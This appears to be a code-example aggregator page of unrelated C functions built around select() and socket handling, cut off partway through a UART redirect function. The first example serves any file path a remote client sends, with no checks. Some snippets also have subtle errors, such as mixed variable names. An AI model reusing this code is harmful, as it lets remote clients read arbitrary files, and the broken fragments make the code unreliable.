Esempio n. 1
2
int main() {

	fd_set master;

	/* temp file descriptor list for select() */
	fd_set read_fds;
	fd_set write_fds;

	struct sockaddr_in serv_addr, cli_addr;
	int sockfd, newsockfd, fdmax, i;   /* int fdmax is the maximum file descriptor number */
	socklen_t clilen;

	char buf[1024];

	/* clear the master and temp sets */

	FD_ZERO(&master);

	FD_ZERO(&read_fds);

	FD_ZERO(&write_fds);


	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
		perror("socket");

	/* bind */
	bzero((char *) &serv_addr, sizeof(serv_addr));
	serv_addr.sin_family = AF_INET;
	serv_addr.sin_addr.s_addr = INADDR_ANY;
	serv_addr.sin_port = htons(1234);

	if(bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
		perror("bind");


	listen(sockfd, 10);
	clilen = sizeof(cli_addr);

	/* add the sockfd to the master set */
	FD_SET(sockfd, &master);

	/* keep track of the biggest file descriptor */
	fdmax = sockfd; /* so far, it's this one*/


	/*Main loop */
	for( ; ; ) {

	/* copy it */
		read_fds = master;
		write_fds = master;
		struct timeval tv;
		tv.tv_sec = 1;
		tv.tv_usec = 0;

		if(select(fdmax+1, &read_fds, &write_fds, NULL, NULL) < 0)
			perror("select");

		/*run through the existing connections looking for data to be read*/
		if(fdmax >= OPEN_MAX){
			perror("open_max");
			return 1;
		}
		for(i = 0; i <= fdmax; i++) {
			if(FD_ISSET(i, &read_fds)) {  /* we got one... */
				printf("Server %d: read\n", i);
					if(i == sockfd) {

						if((newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen)) < 0)
							perror("accept");

						FD_SET(newsockfd, &master); /* add to master set */
						printf("Server %d: accept new client %d\n", i, newsockfd);
						/* keep track of the maximum */
						fd[newsockfd] = -1;
						if(newsockfd > fdmax) {
							fdmax = newsockfd;
						}
					}
					else {
						/* handle data from a client */
						memset(buf, 0, sizeof buf);
						int size;
						if((size = recv(i, buf, 1024, 0)) <= 0) {
							continue;
						}
						else {
							/* we got some data from a client*/
							printf("Server %d: path %s\n", i, buf);
							fd[i] = open(buf, O_RDONLY);
							printf("Server %d: file desc %d\n", i, fd[i]);
							if(fd[i] < 0){
								memset(buf, 0, sizeof buf);
								memcpy(buf,"file not exist", 14);
								close(fd[i]);
								if(send(i, buf, 1024, 0) < 0)
									perror("send");
								printf("Server %d: %s\n", i, buf);
								close(i);
								FD_CLR(i, &master);
								FD_CLR(i, &read_fds);
								FD_CLR(i, &write_fds);
								continue;
							}
						}
					}
			}
			if(FD_ISSET(i, &write_fds) && fd[i] >= 0){
				printf("Server %d: write\n", i);

				memset(buf, 0, sizeof buf);
				int size = read(fd[i], buf, 1024);

				if(size == 0){
					close(fd[i]);
					printf("Server %d: sent file\n", i);
					close(i);
					FD_CLR(i, &master);
					FD_CLR(i, &read_fds);
					FD_CLR(i, &write_fds);
					continue;
				}
				printf("Server %d: send %d\n", i, size);
				if(send(i, buf, 1024, 0) < 0)
					perror("send");

			}
		}
	}
  return 0;
}
Esempio n. 2
0
int main(int argc, char *argv[])
{
	struct sockaddr_in broadcast_adrs;
	struct sockaddr_in from_adrs;
	socklen_t from_len;

	int sock, count = 0;
	int broadcast_sw = 1;
	fd_set mask, readfds;
	struct timeval timeout;

	int port = DEFAULT_PORT;
	char username[L_USERNAME] = "JohnDou";

	char s_buf[S_BUFSIZE], r_buf[R_BUFSIZE];
	int strsize = 0;
	packet r_packet;

	/* コマンドライン引数のチェックおよび使用法の表示 */
	if(argc != 3)
	{
		fprintf(stderr, "Usage: %s User_name, Port_number\n", argv[0]);
		exit(EXIT_FAILURE);
	}

	sprintf(username, "%s", argv[1]);
	port = atoi(argv[2]);
	set_sockaddr_in_broadcast(&broadcast_adrs, (in_port_t)port);
	sock = init_udpclient();

	if(setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (void *)&broadcast_sw, sizeof(broadcast_sw)) == 1)
	{
		exit_errmesg("setsockopt()");
	}

	FD_ZERO(&mask);
	FD_SET(sock, &mask);
	// s_buf にHELLOパケットを格納
	create_packet(HELLO, s_buf);
	strsize = sizeof(s_buf);

	int i;
	for(i = 0; i < 3; i++)
	{
		Sendto(sock, s_buf, strsize, 0, (struct sockaddr *)&broadcast_adrs, sizeof(broadcast_adrs));

		readfds = mask;
		timeout.tv_sec = TIMEOUT_SEC;
		timeout.tv_usec = 0;

		if(select(sock+1, &readfds, NULL, NULL, &timeout) == 0)
		{
			count++;
			printf("Send HELLO packets %d times.\n", count);
			printf("pct : %s\n", s_buf);
			if(count == 3)
			{
				printf("There are no server, so you are server.\n");
				server(username, port);
			}
			continue;
		}

		// HEREパケットを受信したときの処理
		from_len = sizeof(from_adrs);
		strsize = Recvfrom(sock, r_buf, R_BUFSIZE-1, 0, (struct sockaddr *)&from_adrs, &from_len);
		r_packet = re_packet(r_buf);

		if(analize_header(r_packet.header) == HERE)
		{
			printf("There are server, so you are client.\n");
			client(username, from_adrs);
		}
	}

	return 0;
}
Esempio n. 3
0
int32_t
server_init(server_p srv, char const *control)
{
    struct sockaddr_un	un;
    struct sockaddr_l2cap	l2;
    int32_t			unsock, l2sock;
    socklen_t		size;
    uint16_t		imtu;

    assert(srv != NULL);
    assert(control != NULL);

    memset(srv, 0, sizeof(srv));

    /* Open control socket */
    if (unlink(control) < 0 && errno != ENOENT) {
        log_crit("Could not unlink(%s). %s (%d)",
                 control, strerror(errno), errno);
        return (-1);
    }

    unsock = socket(PF_LOCAL, SOCK_STREAM, 0);
    if (unsock < 0) {
        log_crit("Could not create control socket. %s (%d)",
                 strerror(errno), errno);
        return (-1);
    }

    memset(&un, 0, sizeof(un));
    un.sun_len = sizeof(un);
    un.sun_family = AF_LOCAL;
    strlcpy(un.sun_path, control, sizeof(un.sun_path));

    if (bind(unsock, (struct sockaddr *) &un, sizeof(un)) < 0) {
        log_crit("Could not bind control socket. %s (%d)",
                 strerror(errno), errno);
        close(unsock);
        return (-1);
    }

    if (chmod(control, S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH) < 0) {
        log_crit("Could not change permissions on control socket. " \
                 "%s (%d)", strerror(errno), errno);
        close(unsock);
        return (-1);
    }

    if (listen(unsock, 10) < 0) {
        log_crit("Could not listen on control socket. %s (%d)",
                 strerror(errno), errno);
        close(unsock);
        return (-1);
    }

    /* Open L2CAP socket */
    l2sock = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BLUETOOTH_PROTO_L2CAP);
    if (l2sock < 0) {
        log_crit("Could not create L2CAP socket. %s (%d)",
                 strerror(errno), errno);
        close(unsock);
        return (-1);
    }

    size = sizeof(imtu);
    if (getsockopt(l2sock, SOL_L2CAP, SO_L2CAP_IMTU, &imtu, &size) < 0) {
        log_crit("Could not get L2CAP IMTU. %s (%d)",
                 strerror(errno), errno);
        close(unsock);
        close(l2sock);
        return (-1);
    }

    memset(&l2, 0, sizeof(l2));
    l2.l2cap_len = sizeof(l2);
    l2.l2cap_family = AF_BLUETOOTH;
    memcpy(&l2.l2cap_bdaddr, NG_HCI_BDADDR_ANY, sizeof(l2.l2cap_bdaddr));
    l2.l2cap_psm = htole16(NG_L2CAP_PSM_SDP);

    if (bind(l2sock, (struct sockaddr *) &l2, sizeof(l2)) < 0) {
        log_crit("Could not bind L2CAP socket. %s (%d)",
                 strerror(errno), errno);
        close(unsock);
        close(l2sock);
        return (-1);
    }

    if (listen(l2sock, 10) < 0) {
        log_crit("Could not listen on L2CAP socket. %s (%d)",
                 strerror(errno), errno);
        close(unsock);
        close(l2sock);
        return (-1);
    }

    /* Allocate incoming buffer */
    srv->imtu = (imtu > SDP_LOCAL_MTU)? imtu : SDP_LOCAL_MTU;
    srv->req = (uint8_t *) calloc(srv->imtu, sizeof(srv->req[0]));
    if (srv->req == NULL) {
        log_crit("Could not allocate request buffer");
        close(unsock);
        close(l2sock);
        return (-1);
    }

    /* Allocate memory for descriptor index */
    srv->fdidx = (fd_idx_p) calloc(FD_SETSIZE, sizeof(srv->fdidx[0]));
    if (srv->fdidx == NULL) {
        log_crit("Could not allocate fd index");
        free(srv->req);
        close(unsock);
        close(l2sock);
        return (-1);
    }

    /* Register Service Discovery profile (attach it to control socket) */
    if (provider_register_sd(unsock) < 0) {
        log_crit("Could not register Service Discovery profile");
        free(srv->fdidx);
        free(srv->req);
        close(unsock);
        close(l2sock);
        return (-1);
    }

    /*
     * If we got here then everything is fine. Add both control sockets
     * to the index.
     */

    FD_ZERO(&srv->fdset);
    srv->maxfd = (unsock > l2sock)? unsock : l2sock;

    FD_SET(unsock, &srv->fdset);
    srv->fdidx[unsock].valid = 1;
    srv->fdidx[unsock].server = 1;
    srv->fdidx[unsock].control = 1;
    srv->fdidx[unsock].priv = 0;
    srv->fdidx[unsock].rsp_cs = 0;
    srv->fdidx[unsock].rsp_size = 0;
    srv->fdidx[unsock].rsp_limit = 0;
    srv->fdidx[unsock].omtu = SDP_LOCAL_MTU;
    srv->fdidx[unsock].rsp = NULL;

    FD_SET(l2sock, &srv->fdset);
    srv->fdidx[l2sock].valid = 1;
    srv->fdidx[l2sock].server = 1;
    srv->fdidx[l2sock].control = 0;
    srv->fdidx[l2sock].priv = 0;
    srv->fdidx[l2sock].rsp_cs = 0;
    srv->fdidx[l2sock].rsp_size = 0;
    srv->fdidx[l2sock].rsp_limit = 0;
    srv->fdidx[l2sock].omtu = 0; /* unknown */
    srv->fdidx[l2sock].rsp = NULL;

    return (0);
}
Esempio n. 4
0
/*=========================================================================*/ 
int SLPNetworkSendMessage(int sockfd,
                          SLPBuffer buf,
                          struct sockaddr_in* peeraddr,
                          struct timeval* timeout)
/* Sends a message                                                         */
/*                                                                         */
/* Returns  -  zero on success non-zero on failure                         */
/*                                                                         */
/* errno         EPIPE error during write                                  */
/*               ETIME read timed out                                      */
/*=========================================================================*/ 
{
    fd_set      writefds;
    int         xferbytes;
    int         flags = 0;

#if defined(MSG_NOSIGNAL)
    flags = MSG_NOSIGNAL;
#endif
    
    buf->curpos = buf->start;
    
    while(buf->curpos < buf->end)
    {
        FD_ZERO(&writefds);
        FD_SET(sockfd, &writefds);

        xferbytes = select(sockfd + 1, 0, &writefds, 0, timeout);
        if(xferbytes > 0)
        {
            xferbytes = sendto(sockfd,
                               buf->curpos, 
                               buf->end - buf->curpos, 
                               flags,
                               (struct sockaddr *)peeraddr,
                               sizeof(struct sockaddr_in));
            
            if(xferbytes > 0)
            {
                buf->curpos = buf->curpos + xferbytes;
            }
            else
            {
#ifndef WIN32
                errno = EPIPE;
#endif
                return -1;
            }
        }
        else if(xferbytes == 0)
        {
            /* timed out */
#ifndef WIN32
            errno = ETIME;
#endif
            return -1;
        }
        else
        {
#ifndef WIN32
            errno = EPIPE;
#endif
            return -1;
        }
    }
    
    return 0;
}
Esempio n. 5
0
void do_cmd(comedi_t *dev,comedi_cmd *cmd)
{
	int total=0;
	int ret;
	int go;
	fd_set rdset;
	struct timeval timeout;

	ret=comedi_command_test(dev,cmd);

	printf("test ret=%d\n",ret);
	if(ret<0){
		printf("errno=%d\n",errno);
		comedi_perror("comedi_command_test");
		return;
	}

	dump_cmd(stdout,cmd);

	ret=comedi_command_test(dev,cmd);

	printf("test ret=%d\n",ret);
	if(ret<0){
		printf("errno=%d\n",errno);
		comedi_perror("comedi_command_test");
		return;
	}

	dump_cmd(stdout,cmd);

	comedi_set_read_subdevice(dev, cmd->subdev);
	ret = comedi_get_read_subdevice(dev);
	if (ret < 0 || ret != cmd->subdev) {
		fprintf(stderr,
			"failed to change 'read' subdevice from %d to %d\n",
			ret, cmd->subdev);
		return;
	}

	ret=comedi_command(dev,cmd);

	printf("ret=%d\n",ret);
	if(ret<0){
		printf("errno=%d\n",errno);
		comedi_perror("comedi_command");
		return;
	}

	go=1;
	while(go){
		FD_ZERO(&rdset);
		FD_SET(comedi_fileno(device),&rdset);
		timeout.tv_sec = 0;
		timeout.tv_usec = 50000;
		ret = select(comedi_fileno(dev)+1,&rdset,NULL,NULL,&timeout);
		//printf("select returned %d\n",ret);
		if(ret<0){
			perror("select");
		}else if(ret==0){
			/* hit timeout */
			printf("timeout, polling...\n");
			ret = comedi_poll(device,cmd->subdev);
			printf("poll returned %d\n",ret);
		}else if(FD_ISSET(comedi_fileno(device),&rdset)){
			/* comedi file descriptor became ready */
			//printf("comedi file descriptor ready\n");
			ret=read(comedi_fileno(dev),buf,sizeof(buf));
			printf("read returned %d\n",ret);
			if(ret<0){
				if(errno==EAGAIN){
					go = 0;
					perror("read");
				}
			}else if(ret==0){
				go = 0;
			}else{
				int i;
				total+=ret;
				//printf("read %d %d\n",ret,total);
				for(i=0;i<ret/sizeof(sampl_t);i++){
					printf("%d\n",buf[i]);
				}
			}
		}else{
			/* unknown file descriptor became ready */
			printf("unknown file descriptor ready\n");
		}
	}
}
netAddressBits ourIPAddress(UsageEnvironment& env) {
  static netAddressBits ourAddress = 0;
  int sock = -1;
  struct in_addr testAddr;

  if (ReceivingInterfaceAddr != INADDR_ANY) {
    // Hack: If we were told to receive on a specific interface address, then 
    // define this to be our ip address:
    ourAddress = ReceivingInterfaceAddr;
  }

  if (ourAddress == 0) {
    // We need to find our source address
    struct sockaddr_in fromAddr;
    fromAddr.sin_addr.s_addr = 0;

    // Get our address by sending a (0-TTL) multicast packet,
    // receiving it, and looking at the source address used.
    // (This is kinda bogus, but it provides the best guarantee
    // that other nodes will think our address is the same as we do.)
    do {
      loopbackWorks = 0; // until we learn otherwise

      testAddr.s_addr = our_inet_addr("228.67.43.91"); // arbitrary
      Port testPort(15947); // ditto

      sock = setupDatagramSocket(env, testPort);
      if (sock < 0) break;

      if (!socketJoinGroup(env, sock, testAddr.s_addr)) break;

      unsigned char testString[] = "hostIdTest";
      unsigned testStringLength = sizeof testString;

      if (!writeSocket(env, sock, testAddr, testPort.num(), 0,
		       testString, testStringLength)) break;

      // Block until the socket is readable (with a 5-second timeout):
      fd_set rd_set;
      FD_ZERO(&rd_set);
      FD_SET((unsigned)sock, &rd_set);
      const unsigned numFds = sock+1;
      struct timeval timeout;
      timeout.tv_sec = 5;
      timeout.tv_usec = 0;
      int result = select(numFds, &rd_set, NULL, NULL, &timeout);
      if (result <= 0) break;

      unsigned char readBuffer[20];
      int bytesRead = readSocket(env, sock,
				 readBuffer, sizeof readBuffer,
				 fromAddr);
      if (bytesRead != (int)testStringLength
	  || strncmp((char*)readBuffer, (char*)testString, testStringLength) != 0) {
	break;
      }

      // We use this packet's source address, if it's good:
      loopbackWorks = !badAddressForUs(fromAddr.sin_addr.s_addr);
    } while (0);

    if (sock >= 0) {
      socketLeaveGroup(env, sock, testAddr.s_addr);
      closeSocket(sock);
    }

    if (!loopbackWorks) do {
      // We couldn't find our address using multicast loopback,
      // so try instead to look it up directly - by first getting our host name, and then resolving this host name
      char hostname[100];
      hostname[0] = '\0';
      int result = gethostname(hostname, sizeof hostname);
      if (result != 0 || hostname[0] == '\0') {
	env.setResultErrMsg("initial gethostname() failed");
	break;
      }

      // Try to resolve "hostname" to an IP address:
      NetAddressList addresses(hostname);
      NetAddressList::Iterator iter(addresses);
      NetAddress const* address;

      // Take the first address that's not bad:
      netAddressBits addr = 0;
      while ((address = iter.nextAddress()) != NULL) {
	netAddressBits a = *(netAddressBits*)(address->data());
	if (!badAddressForUs(a)) {
	  addr = a;
	  break;
	}
      }

      // Assign the address that we found to "fromAddr" (as if the 'loopback' method had worked), to simplify the code below: 
      fromAddr.sin_addr.s_addr = addr;
    } while (0);

    // Make sure we have a good address:
    netAddressBits from = fromAddr.sin_addr.s_addr;
    if (badAddressForUs(from)) {
      char tmp[100];
      sprintf(tmp, "This computer has an invalid IP address: %s", AddressString(from).val());
      env.setResultMsg(tmp);
      from = 0;
    }

    ourAddress = from;

    // Use our newly-discovered IP address, and the current time,
    // to initialize the random number generator's seed:
    struct timeval timeNow;
    gettimeofday(&timeNow, NULL);
    unsigned seed = ourAddress^timeNow.tv_sec^timeNow.tv_usec;
    our_srandom(seed);
  }
  return ourAddress;
}
Esempio n. 7
0
int IPv4_UDP(const char *pcListen_address, const int iPort)
{
    int listen_socket = 0;
    listen_socket = Network_Listen4UDP(pcListen_address, iPort);
    if (listen_socket < 0)
    {
        daemon_log(LOG_ERR, "Failed to bind");
        return -1;
    }

    while (1)
    {
        struct timeval tv;
        fd_set readfds;
        tsConectionMapping *psConnectionMapping = psConnectionMappingHead;
        int max_fd = 0;

        tv.tv_sec = 2;
        tv.tv_usec = 0;

        FD_ZERO(&readfds);
        FD_SET(listen_socket, &readfds);
        max_fd = listen_socket;
        
        while (psConnectionMapping)
        {
            if (psConnectionMapping->iIPv6Socket > max_fd)
            {
                max_fd = psConnectionMapping->iIPv6Socket;
            }
            
            FD_SET(psConnectionMapping->iIPv6Socket, &readfds);
            
            psConnectionMapping = psConnectionMapping->psNext;
        }

        select(max_fd+1, &readfds, NULL, NULL, &tv);

        if (FD_ISSET(listen_socket, &readfds))
        {
            handle_incoming_ipv4_packet(listen_socket);
        }
        else
        {
            struct timeval sTimeNow;
            gettimeofday(&sTimeNow, NULL);
            
            psConnectionMapping = psConnectionMappingHead;
            
            while (psConnectionMapping)
            {
                if (FD_ISSET(psConnectionMapping->iIPv6Socket, &readfds))
                {
                    handle_incoming_ipv6_packet(listen_socket, psConnectionMapping);
                }
                
                if (sTimeNow.tv_sec > (psConnectionMapping->sLastPacketTime.tv_sec + UDP_Connection_Timeout))
                {
                    if (verbosity >= LOG_DEBUG)
                    {
                        daemon_log(LOG_DEBUG, "Deleting client: %d seconds since last data", UDP_Connection_Timeout);
                    }
                    psConnectionMapping = psDeleteMapping (psConnectionMapping);
                }
                else
                {
                    psConnectionMapping = psConnectionMapping->psNext;
                }
            }
        }

    }

    return 0;
}
int main(void)
{
    static int fd[MAX_PAR]; /* to force initialization */
    struct sockaddr_atmsvc local[MAX_ADDR];
    struct atmif_sioc req;
    struct atm_sap sap;
    struct atm_qos qos;
    int listen_fd;
    fd_set rset,wset;
    int fds,completed = 0,connects = 0,accepts = 0;

    FD_ZERO(&rset);
    FD_ZERO(&wset);
    if (text2sap(SAP,&sap,0) < 0) {
	fprintf(stderr,"text2sap\n");
	return 1;
    }
    if (text2qos(QOS,&qos,0) < 0) {
	fprintf(stderr,"text2qos\n");
	return 1;
    }
    listen_fd = socket(PF_ATMSVC,SOCK_DGRAM,0);
    if (listen_fd < 0) {
	perror("socket");
	return 1;
    }
    req.number = ITF;
    req.arg = local;
    req.length = sizeof(local);
    if (ioctl(listen_fd,ATM_GETADDR,&req) < 0) {
	perror("ioctl");
	return 1;
    }
    if (!req.length) {
	fprintf(stderr,"No local address\n");
	return 1;
    }
    if (setsockopt(listen_fd,SOL_ATM,SO_ATMSAP,&sap,sizeof(sap)) < 0) {
	perror("setsockopt SO_ATMSAP");
	return 1;
    }
    if (setsockopt(listen_fd,SOL_ATM,SO_ATMQOS,&qos,sizeof(qos)) < 0) {
	perror("setsockopt SO_ATMQOS");
	return 1;
    }
    if (bind(listen_fd,(struct sockaddr *) local,sizeof(*local)) < 0) {
	perror("bind");
	return 1;
    }
    if (fcntl(listen_fd,F_SETFL,O_NONBLOCK) < 0) {
	perror("fnctl");
	return 1;
    }
    if (listen(listen_fd,5) < 0) {
	perror("listen");
	return 1;
    }
    FD_SET(listen_fd,&rset);
    fds = listen_fd+1;
    (void) signal(SIGCHLD,SIG_IGN);
    while (1) {
	static struct timeval no_delay;
	fd_set _rset = rset;
	fd_set _wset = wset;
	int ret,i,empty;

	no_delay.tv_sec = 0;
	no_delay.tv_usec = 100000;
	ret = select(fds,&_rset,&_wset,NULL,&no_delay);
	if (ret < 0) {
	    perror("select");
	    return 1;
	}
	if (FD_ISSET(listen_fd,&_rset)) {
	    pid_t pid;

	    pid = fork();
	    if (pid < 0) {
		perror("fork");
		return 1;
	    }
	    if (!pid) {
		if (accept(listen_fd,NULL,NULL) >= 0) exit(0);
		perror("accept");
		return 1;
	    }
	    accepts++;
	}
	empty = -1;
	for (i = 0; i < MAX_PAR; i++)
	    if (!fd[i]) empty = i;
	    else if (FD_ISSET(fd[i],&_wset)) {
		    struct sockaddr_atmsvc dummy;

		    if (connect(fd[i],(struct sockaddr *) &dummy,sizeof(dummy))
		      < 0) {
			perror("connect");
			return 1;
		    }
		    FD_CLR(fd[i],&wset);
		    fd[i] = 0;
		    empty = i;
		    if (++completed == EXIT_LIM) {
			printf("%d attempted, %d completed, %d accepts\n",
			  connects,completed,accepts);
			return 0;
		    }
		}
	if (empty != -1) {
	    fd[empty] = socket(PF_ATMSVC,SOCK_DGRAM,0);
	    if (fd[empty] < 0) {
		perror("socket");
		return 1;
	    }
	    if (fcntl(fd[empty],F_SETFL,O_NONBLOCK) < 0) {
		perror("fnctl");
		return 1;
	    }
	    if (setsockopt(fd[empty],SOL_ATM,SO_ATMSAP,&sap,sizeof(sap)) < 0) {
		perror("setsockopt SO_ATMSAP");
		return 1;
	    }
	    if (setsockopt(fd[empty],SOL_ATM,SO_ATMQOS,&qos,sizeof(qos)) < 0) {
		perror("setsockopt SO_ATMQOS");
		return 1;
	    }
	    if (connect(fd[empty],(struct sockaddr *) local,sizeof(*local)) < 0
	      && errno != EINPROGRESS) {
		perror("connect");
		return 1;
	    }
	    FD_SET(fd[empty],&wset);
	    if (fds <= fd[empty]) fds = fd[empty]+1;
	    connects++;
	}
    }
    return 0;
}
Esempio n. 9
0
/* connecthostport()
 * return a socket connected (TCP) to the host and port
 * or -1 in case of error */
int connecthostport(const char * host, unsigned short port,
                    unsigned int scope_id)
{
	int s, n;
#ifdef USE_GETHOSTBYNAME
	struct sockaddr_in dest;
	struct hostent *hp;
#else /* #ifdef USE_GETHOSTBYNAME */
	char tmp_host[MAXHOSTNAMELEN+1];
	char port_str[8];
	struct addrinfo *ai, *p;
	struct addrinfo hints;
#endif /* #ifdef USE_GETHOSTBYNAME */
#ifdef MINIUPNPC_SET_SOCKET_TIMEOUT
	struct timeval timeout;
#endif /* #ifdef MINIUPNPC_SET_SOCKET_TIMEOUT */

#ifdef USE_GETHOSTBYNAME
	hp = gethostbyname(host);
	if(hp == NULL)
	{
		herror(host);
		return -1;
	}
	memcpy(&dest.sin_addr, hp->h_addr, sizeof(dest.sin_addr));
	memset(dest.sin_zero, 0, sizeof(dest.sin_zero));
	s = socket(PF_INET, SOCK_STREAM, 0);
	if(s < 0)
	{
		PRINT_SOCKET_ERROR("socket");
		return -1;
	}
#ifdef MINIUPNPC_SET_SOCKET_TIMEOUT
	/* setting a 3 seconds timeout for the connect() call */
	timeout.tv_sec = 3;
	timeout.tv_usec = 0;
	if(setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(struct timeval)) < 0)
	{
		PRINT_SOCKET_ERROR("setsockopt");
	}
	timeout.tv_sec = 3;
	timeout.tv_usec = 0;
	if(setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(struct timeval)) < 0)
	{
		PRINT_SOCKET_ERROR("setsockopt");
	}
#endif /* #ifdef MINIUPNPC_SET_SOCKET_TIMEOUT */
	dest.sin_family = AF_INET;
	dest.sin_port = htons(port);
	n = connect(s, (struct sockaddr *)&dest, sizeof(struct sockaddr_in));
#ifdef MINIUPNPC_IGNORE_EINTR
	while(n < 0 && errno == EINTR)
	{
		socklen_t len;
		fd_set wset;
		int err;
		FD_ZERO(&wset);
		FD_SET(s, &wset);
		if((n = select(s + 1, NULL, &wset, NULL, NULL)) == -1 && errno == EINTR)
			continue;
		/*len = 0;*/
		/*n = getpeername(s, NULL, &len);*/
		len = sizeof(err);
		if(getsockopt(s, SOL_SOCKET, SO_ERROR, &err, &len) < 0) {
			PRINT_SOCKET_ERROR("getsockopt");
			closesocket(s);
			return -1;
		}
		if(err != 0) {
			errno = err;
			n = -1;
		}
	}
#endif /* #ifdef MINIUPNPC_IGNORE_EINTR */
	if(n<0)
	{
		PRINT_SOCKET_ERROR("connect");
		closesocket(s);
		return -1;
	}
#else /* #ifdef USE_GETHOSTBYNAME */
	/* use getaddrinfo() instead of gethostbyname() */
	memset(&hints, 0, sizeof(hints));
	/* hints.ai_flags = AI_ADDRCONFIG; */
#ifdef AI_NUMERICSERV
	hints.ai_flags = AI_NUMERICSERV;
#endif
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_family = AF_UNSPEC; /* AF_INET, AF_INET6 or AF_UNSPEC */
	/* hints.ai_protocol = IPPROTO_TCP; */
	snprintf(port_str, sizeof(port_str), "%hu", port);
	if(host[0] == '[')
	{
		/* literal ip v6 address */
		int i, j;
		for(i = 0, j = 1; host[j] && (host[j] != ']') && i < MAXHOSTNAMELEN; i++, j++)
		{
			tmp_host[i] = host[j];
			if(0 == memcmp(host+j, "%25", 3))	/* %25 is just url encoding for '%' */
				j+=2;							/* skip "25" */
		}
		tmp_host[i] = '\0';
	}
	else
	{
		strncpy(tmp_host, host, MAXHOSTNAMELEN);
	}
	tmp_host[MAXHOSTNAMELEN] = '\0';
	n = getaddrinfo(tmp_host, port_str, &hints, &ai);
	if(n != 0)
	{
#ifdef _WIN32
		fprintf(stderr, "getaddrinfo() error : %d\n", n);
#else
		fprintf(stderr, "getaddrinfo() error : %s\n", gai_strerror(n));
#endif
		return -1;
	}
	s = -1;
	for(p = ai; p; p = p->ai_next)
	{
		s = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
		if(s < 0)
			continue;
		if(p->ai_addr->sa_family == AF_INET6 && scope_id > 0) {
			struct sockaddr_in6 * addr6 = (struct sockaddr_in6 *)p->ai_addr;
			addr6->sin6_scope_id = scope_id;
		}
#ifdef MINIUPNPC_SET_SOCKET_TIMEOUT
		/* setting a 3 seconds timeout for the connect() call */
		timeout.tv_sec = 3;
		timeout.tv_usec = 0;
		if(setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(struct timeval)) < 0)
		{
			PRINT_SOCKET_ERROR("setsockopt");
		}
		timeout.tv_sec = 3;
		timeout.tv_usec = 0;
		if(setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(struct timeval)) < 0)
		{
			PRINT_SOCKET_ERROR("setsockopt");
		}
#endif /* #ifdef MINIUPNPC_SET_SOCKET_TIMEOUT */
		n = connect(s, p->ai_addr, p->ai_addrlen);
#ifdef MINIUPNPC_IGNORE_EINTR
		while(n < 0 && errno == EINTR)
		{
			socklen_t len;
			fd_set wset;
			int err;
			FD_ZERO(&wset);
			FD_SET(s, &wset);
			if((n = select(s + 1, NULL, &wset, NULL, NULL)) == -1 && errno == EINTR)
				continue;
			/*len = 0;*/
			/*n = getpeername(s, NULL, &len);*/
			len = sizeof(err);
			if(getsockopt(s, SOL_SOCKET, SO_ERROR, &err, &len) < 0) {
				PRINT_SOCKET_ERROR("getsockopt");
				closesocket(s);
				freeaddrinfo(ai);
				return -1;
			}
			if(err != 0) {
				errno = err;
				n = -1;
			}
		}
#endif /* #ifdef MINIUPNPC_IGNORE_EINTR */
		if(n < 0)
		{
			closesocket(s);
			continue;
		}
		else
		{
			break;
		}
	}
	freeaddrinfo(ai);
	if(s < 0)
	{
		PRINT_SOCKET_ERROR("socket");
		return -1;
	}
	if(n < 0)
	{
		PRINT_SOCKET_ERROR("connect");
		return -1;
	}
#endif /* #ifdef USE_GETHOSTBYNAME */
	return s;
}
Esempio n. 10
0
/*
Open up UART port and begin redirect input/output from login shell.
*/
void *ttyS(char *port)
{
   struct termios term,stdIn,stdOut;
   fd_set rset;
   int fd, maxfd,selectval,nbytes;
   int sd=STDIN_FILENO;
   char buf[TRANSFER_BUFFER_SIZE];
   char devname[40];

  int ch,lastchar;
   /* connect to tty device write port */
   sprintf(devname,"/dev/tty%s",port);
   if( (fd=open(devname,O_RDWR | O_NOCTTY |O_NDELAY)) < 0 ){
	  fprintf(stderr,"can't open device %s\n",devname);
     return NULL;
   }
#ifdef DEBUG
   fprintf(stderr,"%s opened, fd=%d\n",devname,fd);
#endif   
   hndl =fd;
   fcntl(fd,F_SETFL,O_NONBLOCK); /* set non-blocking mode */
   if (tcgetattr(fd,&term) ){
      fprintf(stderr,"Can't get device attr.\n");
      close(fd);
      return NULL;
   }
   saved_termios = term; //save original termios
   if(signal(SIGINT,sig_catcher) == SIG_ERR) {
      fprintf(stderr,"Can't install signal SIGINT handler\n");
      close(fd);
      return NULL;
   }
   if(signal(SIGTERM,sig_catcher) == SIG_ERR) {
      fprintf(stderr,"Can't install signal SIGTERM handler\n");
      close(fd);
      return NULL;
   }
   if(signal(SIGHUP,sig_catcher) == SIG_ERR) {
      fprintf(stderr,"Can't install signal SIGHUP handler\n");
      close(fd);
      return NULL;
   }
    /* make the following file descriptors raw */
   
    if (isatty (0)) {
       tcgetattr(0,   &original_stdin);
       tcgetattr(1,   &original_stdout);
       tty_modified = 1;
       stdIn = original_stdin;
       stdOut = original_stdout;
       MAKE_TTY_RAW(0,  original_stdin);
       MAKE_TTY_RAW(1,  original_stdout);
    }
    
   cfmakeraw(&term);	/* raw mode */
   atexit(cleanup);

   cfsetispeed(&term,B115200); //B9600);
   cfsetospeed(&term,B115200); //B9600);
   tcsetattr(fd,TCSANOW,&term);
#ifdef DEBUG
   if (!tcgetattr(fd,&term) ){
	fprintf(stderr,"tty: ispeed=%d, ospeed = %d\n",\
	cfgetispeed(&term),cfgetospeed(&term));
    }
#endif    
   set_noecho(fd);
   set_noecho(STDOUT_FILENO);
   
#ifdef DEBUG
   if (!tcgetattr(STDIN_FILENO,&stdIn) ){
	fprintf(stderr,"STDIN: ispeed=%d, ospeed = %d\n",\
	cfgetispeed(&stdIn),cfgetospeed(&stdIn));
    }
#endif
   tcflush(fd,TCIOFLUSH);
   maxfd = ((sd > fd) ? sd:fd)+1;
  /*
